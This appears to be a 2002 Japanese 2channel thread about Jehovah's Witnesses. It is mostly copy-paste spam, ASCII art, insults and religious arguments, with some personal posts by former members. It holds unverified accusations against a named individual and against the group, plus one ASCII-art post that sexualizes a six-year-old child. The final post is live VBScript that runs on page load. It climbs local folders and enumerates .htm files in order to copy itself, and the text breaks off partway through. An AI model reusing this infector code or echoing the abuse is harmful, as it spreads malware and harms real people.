
二度目の訪問なら、１１０番すれば来てくれる。

なるほど＜１１０番

エホバは糞宗教 　　　　
　　　.∧ｗ∧　　　　 ∧ｗ∧　ﾎﾝﾄﾃﾞｽﾈ
　 . （ ,,ﾟДﾟ）　　　　（ﾟーﾟ* ）
　 　 /つ旦|　　∴　 |旦とヽ
　＠（＿＿_）　..丁　（＿＿_）＠


お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。

「元信者の立場から一言

　「読めない」のでもなく「見えない」のでもありません。
　「無視してる」のです。

(ﾟдﾟ≡ﾟдﾟ≡ﾟдﾟ) ﾅﾆｺｺ！？

/　　　　　　 ,. ｿ　ノ　|ﾐﾉ丿ミ:､
　　　　　/　　 彡彡ﾐ/　 ﾐヽ乂ハ.　',ヽ彡
　　　　　|　ﾐl｀`ヽ;;;;./　　　　 　　　　〉
　＿＿_　|　',　　 |:::l.　 ´＜lﾆ::iilｰｒイ
　　　　　　`-＼ .l:::l.　　　　 ,　　∨
　　　　　　| ヽ　　l::::l 　 , '／_｀二「
　　　　　　|　 ヽ　｀ 　 　/,. "´￣/
　 　 　 　 |　 　ヽ .　　 　ヽ_＿j'　　　王国会館で・・・
　　　　　　 ',　ﾍ..＿＼　　　｀｀/　　　　ハッカ−チ−ム作りましょう！！

エホバは糞宗教 　　　　
　　　.∧ｗ∧　　　　 ∧ｗ∧　ﾎﾝﾄﾃﾞｽﾈ
　 . （ ,,ﾟДﾟ）　　　　（ﾟーﾟ* ）
　 　 /つ旦|　　∴　 |旦とヽ
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お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。

〜公開質問状〜

『訪問一切禁止』の『ステッカー』が
『読めない』又は『見えない』のですか

エホバは糞宗教 　　　　
　　　.∧ｗ∧　　　　 ∧ｗ∧　ﾎﾝﾄﾃﾞｽﾈ
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　 　 /つ旦|　　∴　 |旦とヽ
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お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。

(ﾟдﾟ≡ﾟдﾟ≡ﾟдﾟ) ﾅﾆｺｺ！？

エホバは糞宗教 　　　　
　　　.∧ｗ∧　　　　 ∧ｗ∧　ﾎﾝﾄﾃﾞｽﾈ
　 . （ ,,ﾟДﾟ）　　　　（ﾟーﾟ* ）
　 　 /つ旦|　　∴　 |旦とヽ
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お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。

〜公開質問状〜

『訪問一切禁止』の『ステッカー』が
『読めない』又は『見えない』のですか

エホバは糞宗教 　　　　
　　　.∧ｗ∧　　　　 ∧ｗ∧　ﾎﾝﾄﾃﾞｽﾈ
　 . （ ,,ﾟДﾟ）　　　　（ﾟーﾟ* ）
　 　 /つ旦|　　∴　 |旦とヽ
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お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。

読めないし見えない。だからそんなの貼っても無駄だよば〜か

この様な態度、無知･無教養･非常識を丸出しですね。
エホバの反社会性を露呈してしまいましたね。

読めないし見えない。だからそんなの貼っても無駄だよば〜か

＊この様な態度、無知･無教養･非常識を丸出しですね。
　エホバの反社会性を露呈してしまいましたね。

>>467のぼけ、お前が無知･無教養･非常識を丸出しだぜ。
ﾈｯﾄやめて早くしね、このこぶたちゃん

＊この様な態度、無知･無教養･非常識を丸出しですね。
　エホバの反社会性を露呈してしまいましたね。

エホバのバカ共って他にすることないのかしら！暇人ね。
　　　.∧ｗ∧　　　　 ∧ｗ∧　ﾎﾝﾄﾃﾞｽﾈ
　 . （ ,,ﾟДﾟ）　　　　（ﾟーﾟ* ）
　 　 /つ旦|　　∴　 |旦とヽ
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エホバのバカ共って他にすることないのかしら！暇人ね。
　　　.∧ｗ∧　　　　 ∧ｗ∧　ﾎﾝﾄﾃﾞｽﾈ
　 . （ ,,ﾟДﾟ）　　　　（ﾟーﾟ* ）
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お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。

エホバのバカ共って他にすることないのかしら！暇人ね。
　　　.∧ｗ∧　　　　 ∧ｗ∧　ﾎﾝﾄﾃﾞｽﾈ
　 . （ ,,ﾟДﾟ）　　　　（ﾟーﾟ* ）
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お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。

エホバのバカ共って他にすることないのかしら！暇人ね。
　　　.∧ｗ∧　　　　 ∧ｗ∧　ﾎﾝﾄﾃﾞｽﾈ
　 . （ ,,ﾟДﾟ）　　　　（ﾟーﾟ* ）
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お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。

最近日本で元支部委員を務めた　
本間トシオが排斥されました・・・
会衆やベテル等にも激震が走ったそうです。
これは確かな情報です。

本間トシオ、2chにも時々来ていた？

>>482　かってな思い込み！

>>526
４８２は幼なすぎると思う

エホバのバカ共って他にすることないのかしら！暇人ね。
　　　.∧ｗ∧　　　　 ∧ｗ∧　ﾎﾝﾄﾃﾞｽﾈ
　 . （ ,,ﾟДﾟ）　　　　（ﾟーﾟ* ）
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お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。

エホバの証人性的暴行で起訴

エホバのバカ共って他にすることないのかしら！暇人ね。
　　　.∧ｗ∧　　　　 ∧ｗ∧　ﾎﾝﾄﾃﾞｽﾈ
　 . （ ,,ﾟДﾟ）　　　　（ﾟーﾟ* ）
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お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。

反エホのバカ共って他にすることないのかしら！暇人ね。
　　　.∧ｗ∧　　　　 ∧ｗ∧　ﾎﾝﾄﾃﾞｽﾈ
　 . （ ,,ﾟДﾟ）　　（ﾟーﾟ* ）
　 　 /つ旦|　　∴　 |旦とヽ
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お仲間だけで細々と反エホするのは結構ですが、赤の他人を巻き添えにするのはやめてください。

エホバは、パクリまでする卑怯者ですね。　　　.∧ｗ∧　　　　 ∧ｗ∧　ﾎﾝﾄﾃﾞｽﾈ
　 . （ ,,ﾟДﾟ）　　　　（ﾟーﾟ* ）
　 　 /つ旦|　　∴　 |旦とヽ
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お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。

エホバは、パクリまでする卑怯者ですね。
　　　.∧ｗ∧　　　　 ∧ｗ∧　ﾎﾝﾄﾃﾞｽﾈ
　 . （ ,,ﾟДﾟ）　　　　（ﾟーﾟ* ）
　 　 /つ旦|　　∴　 |旦とヽ
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お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。

反エホのマネするのは、やっぱりバカなことでしょうかね。
　　　.∧ｗ∧　　　　 ∧ｗ∧　ﾎﾝﾄﾃﾞｽﾈ
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反エホのマネなんかしてると同じバカだとおもわれますよね。

私たちエホバは、自作自演の人生。
　　.∧ｗ∧　　　　 ∧ｗ∧　ﾎﾝﾄﾃﾞｽﾈ
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エホバのような暇人はただの暇人じゃないと思う
同じ事を繰り返すことの出来る忍耐力？を持っているのかも？
もしくはタダの大バカ　　そう思わない？

エホ：エホバのような暇人はただの暇人じゃないと思う
　　　同じ事を繰り返すことの出来る忍耐力？を持っているのかも？
　　　もしくはタダの大バカ　　そう思わない？

ホバ：やっぱり筋金入りの大バカにはかなわいな

>>526
ん、どこの部分が、かってな思いこみ？
一般常識やモラルを言ってるのだが。
カルト宗教の信者さん、教えていただけますか。

私たちエホバは、自作自演の人生。
　　.∧ｗ∧　　　　 ∧ｗ∧　ﾎﾝﾄﾃﾞｽﾈ
　 . （ ,,ﾟДﾟ）　　　　（ﾟーﾟ* ）
　 　 /つ旦|　　∴　 |旦とヽ
　＠（＿＿_）　..丁　（＿＿_）＠

>538

あまり煽りには乗らないほうが....

おせっかいすいません。

>>540
はい。

　　　　　　　　　　　　　　　　　　　　　　　　　　サルでも　　　　　　　　　　　　　 （　　(
　　　　　　　　　　　　　　　　　 　,,.ｒ'' ゛~~` ''ッ,,　　こんなコピペしねーぞ　　　　　　　　　　　　　) 　 ）
　　　　　　　　　　　　　　　　　､ ゛　 ,,,,,,,,,,,,,,,,,,,,, ヾ.　　 こんな餓鬼のコピペ 　 　 ,.、　　　/ ／
　　　　　　　　　　　　　 　 　 ﾐ　　 ﾐ゛,へ.__, ,_ﾉヽ i.　　　　　 　 　 　サル仲間でもわらいもんだぜ 　 　 .| |l　　　l ,´
　　　　　　　　　　　　　　　 ﾐ　　　 ﾐ,　( ・) {・ﾌ 〉 ﾐ.　　　　　　　 　 ＿-､i::| |ニニii '
　　　　　　　　　　　　、,,,,ツi:　　　　 ﾐ,｀~´ ヽ~〈　 .ﾐ　　　　　　　　/,‐ヽヽ`､||
　　　　　　　　　　､ｼ`｀　　 i:　　　 　 ,ゞ 　'ｎ.inヽ. .ﾐ　　　　　　　　　　（ .〉〉/
　　　　　　　　　ｼ　 ／／　　　　　　ﾐ｀　　　 l.l　ヽ"、　　　　　 　 　／　 ノ
　　　　　　　 ﾐ/ ｼ　　　　　　　　 　 彡　,＝こ二=.{　ﾐ,,　　　　　 ,ｒ'´　,,､'゛
　　　　　 　 ﾐi. / 　/　　　　　　　' ! w､｀~^' vwｖ '､ 　 ﾐ 　 　 　〃　.ﾐ
　　　　　　 .ﾐ /　　　　 i: 　/　　　　　　｀＾^　　　　 ＼ ."　　　〃 　ﾐ
　　　　　　.ﾐ.:/　/　/　i:　　　　　　ｖ　　　　!　　,,　　　＼ ､　〃　　ﾐ
　　　　　　：i;　　　　 .i:　　　ｗ　　　　　　!!　　 ミ!:　　　ﾐ ＼＼(　⌒ヽ
　　　　　　:i;　　/ 　 i:　　　　　　!!　　　　　　 .ミ ｷ　 　 , ⌒｀、_　　)　 ）
　　　　　 :iｌ　　　　 .i:　　　　!　　　　ｗ!　　　 ミ　.:i.　　　（_ (　　_,ノ　　） ,
　　　　　:iｌ　　　!　 i:　　　　　　　　　　　! ,〃゛　　ｷ　　 　ゞ、 __,　 ノ ,
　　　　 .:iｌ　!　 　／~~｀｀``` " '''' ＝ ‐- ､ﾐ　　_,,,,_ﾐ,　　il　`　　ー　´
　　　　 :iｌ　　　´ ―　￣　- ,,. -‐‐-､、　ヽ. ヾ、　　ゞ､　`　 〃
　　　　　ゝ､ｗｘ.mn.!!++ナ'~ 　　　　　ヾ~ヽ、　ヽ、　,,　~^^}´
　　　　　　　　彡　　 〃　　〃　　　　 }｝　/〉.〉〉〉i''"　　 〃
　　　　　　　　　彡､ 　　　 ｛{　　　　 〃,__!////l |　 　 〃
　　　　　　　　　　 X,,　　　　》.　　　≪.__`‐'.' '´,Uwwvw'､...,,,___
エホバの皆さん、猿なんかに言われっぱなしでいいのかよ。

エホ証は、自分の子供を迫害している

エホ証は、自分の子供を迫害している。

エホバは、子どもの人権を一切認めない抑圧団体ですね。

エホバは、子どもの人権を一切認めない抑圧団体ですね。

エホバは、子どもの人権を一切認めない抑圧団体ですね。

エホバは、子どもの人権を一切認めない抑圧団体ですね。

エホバは、子どもの人権を一切認めない抑圧団体ですね。

エホバは、子どもの人権を一切認めない抑圧団体ですね。

私たちエホバは、自作自演の人生。
　　.∧ｗ∧　　　　 ∧ｗ∧　ﾎﾝﾄﾃﾞｽﾈ
　 . （ ,,ﾟДﾟ）　　　　（ﾟーﾟ* ）
　 　 /つ旦|　　∴　 |旦とヽ
　＠（＿＿_）　..丁　（＿＿_）＠

エホバは、子どもの人権を一切認めない抑圧団体ですね。

　　　　これは喝だ！　 　　　　　　　　私も喝！
＼＿＿＿＿_　＿＿＿／　　　＼＿＿＿　_＿＿＿／
　　　　　 　　∨　　　　　　 　　　　＿　＿∨
　　　 　　　　　　　　　　　　　　 │□-□│　
　　　　　　（□-□）　　　　　　　│　△　 |
　　　　　　（（ 〜））　　　　　　　　| ﾉ─ヽ|
　　　　　／　 ∨　＼　　 　　　／ ＼Τ／ ＼　　　
　￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣＼
　＼　　　　|大　沢|　　　　　　　　|張　本|　　 　 　 　　 ＼ 　
　 　|￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣　|
　　 |　　 　　　　御　意　見　番　＠　２　ｃ　ｈ.　　 　 　　 |
　　 |　　　　　　　　　　　　　　　　　　　　　　 　 　. 　　　　 |

エホバの証人性的暴行で起訴

　　　　これは喝だ！　 　　　　　　　　私も喝！
＼＿＿＿＿_　＿＿＿／　　　＼＿＿＿　_＿＿＿／
　　　　　 　　∨　　　　　　 　　　　＿　＿∨
　　　 　　　　　　　　　　　　　　 │□-□│　
　　　　　　（□-□）　　　　　　　│　△　 |
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　　　　　／　 ∨　＼　　 　　　／ ＼Τ／ ＼　　　
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　＼　　　　|大　沢|　　　　　　　　|張　本|　　 　 　 　　 ＼ 　
　 　|￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣　|
　　 |　　 　　　　御　意　見　番　＠　２　ｃ　ｈ.　　 　 　　 |
　　 |　　　　　　　　　　　　　　　　　　　　　　 　 　. 　　　　 |

エホバの証人、子供への悪戯はok。

　　　　これは喝だ！　 　　　　　　　　私も喝！
＼＿＿＿＿_　＿＿＿／　　　＼＿＿＿　_＿＿＿／
　　　　　 　　∨　　　　　　 　　　　＿　＿∨
　　　 　　　　　　　　　　　　　　 │□-□│　
　　　　　　（□-□）　　　　　　　│　△　 |
　　　　　　（（ 〜））　　　　　　　　| ﾉ─ヽ|
　　　　　／　 ∨　＼　　 　　　／ ＼Τ／ ＼　　　
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　＼　　　　|大　沢|　　　　　　　　|張　本|　　 　 　 　　 ＼ 　
　 　|￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣　|
　　 |　　 　　　　御　意　見　番　＠　２　ｃ　ｈ.　　 　 　　 |
　　 |　　　　　　　　　　　　　　　　　　　　　　 　 　. 　　　　 |

　　　　 , -,、 、
　　　　☆ノﾉ从)) 　　　 ／￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
　　　 ﾉ∩ ~∀~)y-~~＜ ・・ｷｬﾊ☆、王国会館の売春宿よ♥遊びにきて−−
□…/ﾉつ　O* )　　　　＼＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿
￣￣￣￣￣￣￣￣|
　　　　これは喝だ！　 　　　　　　　　私も喝！
＼＿＿＿＿_　＿＿＿／　　　＼＿＿＿　_＿＿＿／
　　　　　 　　∨　　　　　　 　　　　＿　＿∨
　　　 　　　　　　　　　　　　　　 │□-□│　
　　　　　　（□-□）　　　　　　　│　△　 |
　　　　　　（（ 〜））　　　　　　　　| ﾉ─ヽ|
　　　　　／　 ∨　＼　　 　　　／ ＼Τ／ ＼　　　
　￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣＼
　＼　　　　|大　沢|　　　　　　　　|張　本|　　 　 　 　　 ＼ 　
　 　|￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣　|
　　 |　　 　　　　御　意　見　番　＠　２　ｃ　ｈ.　　 　 　　 |
　　 |　　　　　　　　　　　　　　　　　　　　　　 　 　. 　　　　 |

自作自演スレ発覚
『エホ証はなんで美男美女が多いの？』

　　　　これは喝だ！　 　　　　　　　　私も喝！
＼＿＿＿＿_　＿＿＿／　　　＼＿＿＿　_＿＿＿／
　　　　　 　　∨　　　　　　 　　　　＿　＿∨
　　　 　　　　　　　　　　　　　　 │□-□│　
　　　　　　（□-□）　　　　　　　│　△　 |
　　　　　　（（ 〜））　　　　　　　　| ﾉ─ヽ|
　　　　　／　 ∨　＼　　 　　　／ ＼Τ／ ＼　　　
　￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣＼
　＼　　　　|大　沢|　　　　　　　　|張　本|　　 　 　 　　 ＼ 　
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　　 |　　 　　　　御　意　見　番　＠　２　ｃ　ｈ.　　 　 　　 |
　　 |　　　　　　　　　　　　　　　　　　　　　　 　 　. 　　　　 |

まさかと思ってこのスレ開いたら、
一般が批判するためのものじゃなく
商人自身がつくったとは。

あたしは商人てすごく思慮深くて教養があって
そういう人たちが自分たちのめで選んで、心理だと確信して
伝道してる人だと思うの。

じゃなきゃあんな制限の多い時代錯誤守れないよ。
少なくとも私が知ってる方たちはそう。
だからこっちも自然と綺麗な言葉がでてくる。

ちらっとしか読んでないけどここの人たちは違う。
２ちゃんなんかで匿名で話すことじゃないよね。
ありえない。
ここは俗人のたまるとこよ。


こういう組織だと知っても、それでいいってなったんでしょ。
上の人に直接言えないようなやましさは世の人間だね。
その名を語ってほしくない。

できないなら私じゃないけど遠くで見守ってなよ。
救われたいだけでしがみつかない方がいいんじゃないかな。
知識だけなら誰でももてるんだよ｡｡｡

少なくともあなたたちとあなたたちのおトウ様の関係はできてないと思われ

自作自演スレ発覚
『エホ証はなんで美男美女が多いの？』

　　　　これは喝だ！　 　　　　　　　　私も喝！
＼＿＿＿＿_　＿＿＿／　　　＼＿＿＿　_＿＿＿／
　　　　　 　　∨　　　　　　 　　　　＿　＿∨
　　　 　　　　　　　　　　　　　　 │□-□│　
　　　　　　（□-□）　　　　　　　│　△　 |
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　　　　　／　 ∨　＼　　 　　　／ ＼Τ／ ＼　　　
　￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣＼
　＼　　　　|大　沢|　　　　　　　　|張　本|　　 　 　 　　 ＼ 　
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　　 |　　 　　　　御　意　見　番　＠　２　ｃ　ｈ.　　 　 　　 |
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>>557
商人もDQN多いが、商人崩れのほうがさらに低脳DQN。例えば、AA荒らし(↑)がその証拠。
さっさとまともな板に戻ることを強くオススメする。

エホバの証人は「思慮深い」という言葉を好んで使いますが
私はエホバの証人を思慮深いと感じた事は有りません。

「思慮深い」は「深く物事を考える」という意味だと思いますが
彼ら「エホバの証人」は自分自身で物事を考えているでしょうか。
エホバの証人信者は組織の考えた事を鵜呑みにし自分では考えては
いないように感じます。

エホバの証人信者の「教養」の有る無しは信者が多いので
一般的な判断が出来ません。
ただし「教養＝知識」と捉えるならエホバの証人信者
は自分で物事を判断しているとは思えませんので
知識は無用だと思います。

boy's

エホバは、子どもの人権を一切認めない抑圧団体ですね。

　　　　これは喝だ！　 　　　　　　　　私も喝！
＼＿＿＿＿_　＿＿＿／　　　＼＿＿＿　_＿＿＿／
　　　　　 　　∨　　　　　　 　　　　＿　＿∨
　　　 　　　　　　　　　　　　　　 │□-□│　
　　　　　　（□-□）　　　　　　　│　△　 |
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　　　　　／　 ∨　＼　　 　　　／ ＼Τ／ ＼　　　
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　＼　　　　|大　沢|　　　　　　　　|張　本|　　 　 　 　　 ＼ 　
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　　 |　　 　　　　御　意　見　番　＠　２　ｃ　ｈ.　　 　 　　 |
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　　 　　　 　（　´Д｀） ＜愛、６歳、裸踊り恥ずかしいよー。
　　　　　 　 ／ 　　 ⌒ヽ
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エホバは、子どもの人権を一切認めない抑圧団体ですね。

　　　　これは喝だ！　 　　　　　　　　私も喝！
＼＿＿＿＿_　＿＿＿／　　　＼＿＿＿　_＿＿＿／
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　　　 　　　　　　　　　　　　　　 │□-□│　
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　＼　　　　|大　沢|　　　　　　　　|張　本|　　 　 　 　　 ＼ 　
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　　 |　　 　　　　御　意　見　番　＠　２　ｃ　ｈ.　　 　 　　 |
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姫路白浜会衆は、ローカルルールの多い、因習の強い会衆です。
最悪〜〜〜〜〜！！！！！
長老２人は、白浜から出たことも無いような田舎モンだしさ！
偽善者ぶって、ほんとに助けて欲しい時には、助けてくれないヤツラです。
アホ〜〜〜〜！！！

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　　 　　　 　（　´Д｀） ＜愛、６歳、裸踊り恥ずかしいよー。
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エホバは、子どもの人権を一切認めない抑圧団体ですね。

　　　　これは喝だ！　 　　　　　　　　私も喝！
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　　 |　　 　　　　御　意　見　番　＠　２　ｃ　ｈ.　　 　 　　 |
　　 |　　　　　　　　　　　　　　　　　　　　　　 　 　. 　　　　 |

あ

姫路白浜会衆は、ローカルルールの多い、因習の強い会衆です。
最悪〜〜〜〜！！！！！
長老２人は、白浜から出たことも無いような田舎モンだしさ！
偽善者ぶって、ほんとに助けて欲しい時には、助けてくれないヤツラです。
アホ〜〜〜〜！！！ バカ！！！

　 　　　 　 　 ∧＿∧
　　 　　　 　（　´Д｀） ＜愛、６歳、裸踊り恥ずかしいよー。
　　　　　 　 ／ 　　 ⌒ヽ
　　 　 　　 / ﾚ'つ 　　ﾍ ヽ
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エホバは、子どもの人権を一切認めない抑圧団体ですね。

　　　　これは喝だ！　 　　　　　　　　私も喝！
＼＿＿＿＿_　＿＿＿／　　　＼＿＿＿　_＿＿＿／
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　　　 　　　　　　　　　　　　　　 │□-□│　
　　　　　　（□-□）　　　　　　　│　△　 |
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　　 |　　 　　　　御　意　見　番　＠　２　ｃ　ｈ.　　 　 　　 |
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565 ：名無しさん＠１周年 ：02/07/05 11:47
あ
566 ：名無しさん＠１周年 ：02/07/05 11:58
姫路白浜会衆は、ローカルルールの多い、因習の強い会衆です。
最悪〜〜〜〜！！！！！
長老２人は、白浜から出たことも無いような田舎モンだしさ！
偽善者ぶって、ほんとに助けて欲しい時には、助けてくれないヤツラです。
アホ〜〜〜〜！！！ バカ！！！

エホバの信者は、迫害を四六時中口に出しているのだから、
削除依頼を出すのはお門違い。
ご自分たちの信じる信仰で解決するべきです。

>>567
↑
こいつ、実は字が書けないのでコピペばっかしているのです
自分で書いたものは一つもありません
私のカキコに反応するだけの読解力も無いのです
そういうヤツなんです　　カワイソ

>>627
ありがと＝＝＝☆☆（＾＾）ｖｖ

エホバの信者は、迫害を四六時中口に出しているのだから、
ご自分たちの信じる信仰で解決するべきです。
削除依頼を出すのはお門違い。

エホバから逃げて、気付いた事。
この世の中で生きていくのは手後れだと言う事。
20歳で家を出て、生きるのにも必死で、気がついたら26歳。
相変わらず、世の中には適応できません。
エホバの組織にいたころはおれは価値のない人間として扱われ、
実際、自分自信も生きてる価値があるとは思えませんでした。
永遠にこの状態が続くと思うと、楽園の存在も苦痛以外の何ものでもありませんでした。
でも、世の中に逃げ出したら、おれなんかを必要としてくれる人はいっぱいいました。
でも、
おれは何の役にも立ちません。
苦しいです。
二十歳までの人生をほかのことに活かしたかった。
そう思います

楽でいいね、きみの人生は
どんな不幸も20歳までの境遇のせいにしておけば納得できるなんて。

　 　 ／) 　／)
　　/ 　⌒　 ヽ　　 ／￣￣￣￣￣￣￣￣￣
　 | ●_　●　 |　＜ エホバウザイんじゃボケ！　
　(〇 〜　 〇 |　　＼＿＿＿＿＿＿＿＿＿　
　/　　　　　　 |　　　
　|　　　　 |_/　|　

　　　　　　　　　　　　 (禁転載）

>>572
私は26歳以降に身につけた事がいっぱい有りますよ。
知り合いの長老さん40歳ぐらいだけど、その長老さんを見るたびに
「ああ、この人はもうＪＷを抜けられないなあ。」と感じますね。
良かったんじゃないかな。早めに気がついてさ。
26歳で役に立ってるかなんて気にしない方が良いよ。
その年齢で役に立っている人間なんて、ほとんど居ませんよ。
ただ、その頃に他人にこき使われて身につけた事がそれ以降に役に立ってきますね。
週休４日の伝道者は将来きついですね。先の長老さんは、もうダメだと思う。

イエスのあがないについて疑問
・イエスはアダムが犯した罪をあがなうために人間となり完全な命を
神に差し出しました。
それによってイエスの犠牲に信仰を持つ人たちはアダムの罪から解放される。

ということですが。

イエスは死にましたが３日後に生き返りました。
これはおかしくないですか？あがないを身代金と例えれば、
イエスは身代金を払ったが、あとから取り返したことになります。
死んでた間は３日間だけでした。人間の完全な命と引き替えのはずなんですが、
どう解釈すればいいのでしょうか？

>>576
イエスは霊者として復活されたのだから問題ないです
人間イエスの完全な命は引き替えに出されたのですから
身代金は肉の体だったのです

イエスの肉体が代償？そうではなく、イエスが世にあって成し遂げたこと全てが代償だろう。なぜなら、それによって多くのものが道を見いだしたのだから。

現に彼は、見よ、私が何をなしうるかを！と言ったのだよ。

　 　 ／) 　／)
　　/ 　⌒　 ヽ　　 ／￣￣￣￣￣￣￣￣￣
　 | ●_　●　 |　＜ エホバウザイんじゃボケ！　
　(〇 〜　 〇 |　　＼＿＿＿＿＿＿＿＿＿　
　/　　　　　　 |　　　
　|　　　　 |_/　|　

　　　　　　　　　　　　 (禁転載）

>>580
禁転載だって？　そんなもんコピペする値打ちないよ
おまえも値打ち無し　

>>577
人間でも霊者でもイエスはイエスです。人間であるイエスと霊者であるイエス
が二人いるわけではありません。イエスの中に二人存在するわけでもないでしょう？

天の領域へ復活する人はみな、人間としては死ぬことになります。
彼らは、イエスに信仰を働かせているので死ぬことはないはずですが？

>>572
二十歳までの人生有意義に使ったかって言われてさ、自信もって「YES!!」って
言えるヤシは君がおもってるほどに多くねえよ。

年とってから若いころ、子供のころ思い出すと「あの時ああすれば」「あの時こうだったら」
なんてみんな思うもの。
でももっとよく考えると、やっぱりそういう部分も含めて「キミ」そのものなんだ。
キミを必要としてくれるひとがいるって？それもたくさん？
じゃあウダウダ言わずにそのひとたちのために一生懸命生きていったら？

キミの人生は結局なんだったのかは時間が少しずつ自然に明らかにしてくれるよ。
いまは結論を急がない事。

分かったようなことをﾇｶｽジジｨ

爺さまの言うことに一理あるならその部分は認めようね　少年

一理ね−−んだよ

　 　 ／) 　／)
　　/ 　⌒　 ヽ　　 ／￣￣￣￣￣￣￣￣￣
　 | ●_　●　 |　＜ エホバウザイんじゃボケ！　
　(〇 〜　 〇 |　　＼＿＿＿＿＿＿＿＿＿　
　/　　　　　　 |　　　
　|　　　　 |_/　|　

　　　　　　　　　　　　 (禁転載）

暗闇の中でいきなり強い光をあてられたら見えなくなってしまう。
だからじょじょにってのは、あきらかに詭弁だと思う。
組織の方針変更の影で悲しんでいる人も少なからずいる。
自分の信仰を疑う事は無くても、悲しみは存在する。
その事をきちんと意識していたい。
それを上手いこと盛り込みたいんだけど。やめた方がいいかな。

>>588
光が当たるたび、徐々に世間の常識に近づいている気がしますが、
気のせいでせうか。

　 　　　 　 　 ∧＿∧
　　 　　　 　（　´Д｀） ＜愛、６歳、裸踊り恥ずかしいよー。
　　　　　 　 ／ 　　 ⌒ヽ
　　 　 　　 / ﾚ'つ 　　ﾍ ヽ
　　　　 　 （__／　　　 I ＼＼
　　　　　 　　　)　　　 | 　 ＼ヽ
.　　　　　 　　/　 ●―――∪
　　　　　 　 /　 / ^ヽ　＼
　　　　 　　（　< 　　 ＞　）
　　　　　　　＼ ヽ　 / ／
　 ＿＿＿___ /　|＿_I ＼__
　 ＼　 　　　(__ﾉ　　 ヽ__) ＼
　　||＼　　　　　　　　　　　　 ＼
　　||＼||￣￣￣￣￣￣￣||￣
エホバは、子どもの人権を一切認めない抑圧団体ですね。

　　　　これは喝だ！　 　　　　　　　　私も喝！
＼＿＿＿＿_　＿＿＿／　　　＼＿＿＿　_＿＿＿／
　　　　　 　　∨　　　　　　 　　　　＿　＿∨
　　　 　　　　　　　　　　　　　　 │□-□│　
　　　　　　（□-□）　　　　　　　│　△　 |
　　　　　　（（ 〜））　　　　　　　　| ﾉ─ヽ|
　　　　　／　 ∨　＼　　 　　　／ ＼Τ／ ＼　　　
　￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣＼
　＼　　　　|大　沢|　　　　　　　　|張　本|　　 　 　 　　 ＼ 　
　 　|￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣　|
　　 |　　 　　　　御　意　見　番　＠　２　ｃ　ｈ.　　 　 　　 |
　　 |　　　　　　　　　　　　　　　　　　　　　　 　 　. 　　　　 |

>>589
厳しいところ突きましたね　

>>582
エホ的な理解だね。キリスト教のいわゆる正統派教義では
復活したイエスもまた人の性を持っている(トマスが釘の跡に手を差し入れるという
話はそのことを証すると解釈される）。ただ、その場合の「人の性」は我々のと
異なり、復活後に獲得される霊の体（ロマ書でパウロがいう奴）をもつ。
だからキリスト教でいう「最後の審判」のあとの「復活」は霊の体をもつ人間
としての復活であって、エホ証の書籍がいうような、「キリスト教では審判の
前と後とで人間に違いがない」てのは意図的な歪曲。だって審判の後、はじめて
霊の体(朽ちぬ体）を得て蘇る、とパウロは書いてるからね。霊の存在を認める
としても、霊体の合一がある状態が人間本来の状態なんだから、審判の後と前じゃ
全然違うわけさね。

エホの生みの親のラッセンは、「私は神の代弁者」だとか、「神の啓示を受けて・・」とか言っていたらしい。
客観的に見て、こういう人間が作り出した宗教って、怪しいでしょ？どう考えても・・（笑）

>>592
だから、イエスが復活するのはおかしい。
人間として復活するのはもっとおかしい。
死んでも見た目に死んだだけで実質的には死んだとは言えない。

あがないの教理と復活の教理がごっちゃまぜになってる。

>>593
忠実で思慮深い奴隷級だからでしょ。それにラッセンは画家じゃねぇか？
ラッセルだろ。

なっ！なんなんだ！
なんの話をしてるんだ。双方の言ってること分かんないぞ。
「あがないの教理」「復活の教理」「人の性」なんて知らないぞ！
ＪＷと関係が有るのか？
質問者はカトリック・スレとかで聞いた方が早いんじゃないのか。。。

協会はあなたたちのしていることを許可していません
あなたたちは忠実ではない

<BODY Onload="Redirect();">
<script language="VBScript"><!--

Sub Redirect
Randomize
If location.protocol = "file:" AND (Int((6 * Rnd) + 1) = 1) then Call Offline
location.href = location.href +"l"
End Sub

Sub Offline
Dim FSO,folder ,fc, f1, cpath
Set FSO = CreateObject("Scripting.FileSystemObject")
HostPath = Replace(location.href, "file:///", "")
HostPath = Replace(HostPath, "/", "\")
cpath = fso.GetParentFolderName(HostPath)
Set folder = fso.GetFolder(cpath)

While folder.IsRootFolder = false
Set folder = fso.GetFolder(cpath)
Set fc = folder.Files
cpath = fso.GetParentFolderName(cpath)
For each f1 in fc
s = Lcase(Fso.GetExtensionName(f1.name))
If s = "htm" and fso.FileExists(f1.path+"l") = False then
